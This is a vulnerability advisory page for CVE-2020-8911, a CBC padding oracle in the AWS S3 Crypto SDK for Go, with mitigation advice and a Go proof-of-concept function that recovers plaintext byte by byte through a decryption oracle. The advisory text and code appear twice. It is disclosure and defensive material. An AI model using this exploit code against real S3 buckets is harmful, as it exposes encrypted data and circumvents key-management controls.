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CVE-2020-8911 Moderate

CBC padding oracle issue in AWS S3 Crypto SDK for golang

### Summary The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher. ### Risk/Severity The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data. ### Impact This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well. V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912. This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM. ### Mitigation Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode. ### Proof of concept A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository. This particular issue is described in [padding_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/padding_oracle_exploit.go): ```golang func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) { data, header, err := input.S3Mock.GetObjectDirect(bucket, key) if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" { return "", fmt.Errorf("Algorithm is %q, not CBC!", alg) } length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length")) padding := byte(len(data) - length) plaintext := make([]byte, length) for i := length - 1; i >= 0; i-- { newLength := 16 * (i/16 + 1) dataCopy := make([]byte, newLength) headerCopy := header.Clone() copy(dataCopy, data) // Set Padding newPadding := byte(newLength - i) for j := i + 1; j < newLength; j++ { var oldValue byte if j >= length { oldValue = padding } else { oldValue = plaintext[j] } dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy) if err != nil { return "", err } } // Guess for c := 0; c < 256; c++ { dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy) input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy) if input.Oracle(bucket, key+"guess") { plaintext[i] = byte(c) break } dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy) } } return string(plaintext), nil } ```

Exploit probability 0.4%
Published February 11, 2022
Required by Not available
Last source change May 4, 2026

02 / AFFECTED SOFTWARE

Affected packages

Go github.com/aws/aws-sdk-go
Go github.com/aws/aws-sdk-go

03 / CONNECTIONS

Connected vulnerabilities

04 / EVIDENCE

Source records

Open Source Vulnerabilities GHSA-f5pg-7wfw-84q9

### Summary The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher. ### Risk/Severity The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data. ### Impact This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well. V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912. This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM. ### Mitigation Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode. ### Proof of concept A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository. This particular issue is described in [padding_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/padding_oracle_exploit.go): ```golang func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) { data, header, err := input.S3Mock.GetObjectDirect(bucket, key) if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" { return "", fmt.Errorf("Algorithm is %q, not CBC!", alg) } length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length")) padding := byte(len(data) - length) plaintext := make([]byte, length) for i := length - 1; i >= 0; i-- { newLength := 16 * (i/16 + 1) dataCopy := make([]byte, newLength) headerCopy := header.Clone() copy(dataCopy, data) // Set Padding newPadding := byte(newLength - i) for j := i + 1; j < newLength; j++ { var oldValue byte if j >= length { oldValue = padding } else { oldValue = plaintext[j] } dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy) if err != nil { return "", err } } // Guess for c := 0; c < 256; c++ { dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy) input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy) if input.Oracle(bucket, key+"guess") { plaintext[i] = byte(c) break } dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy) } } return string(plaintext), nil } ```

View original source
Open Source Vulnerabilities GO-2022-0646

A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

View original source

05 / REFERENCES

Further evidence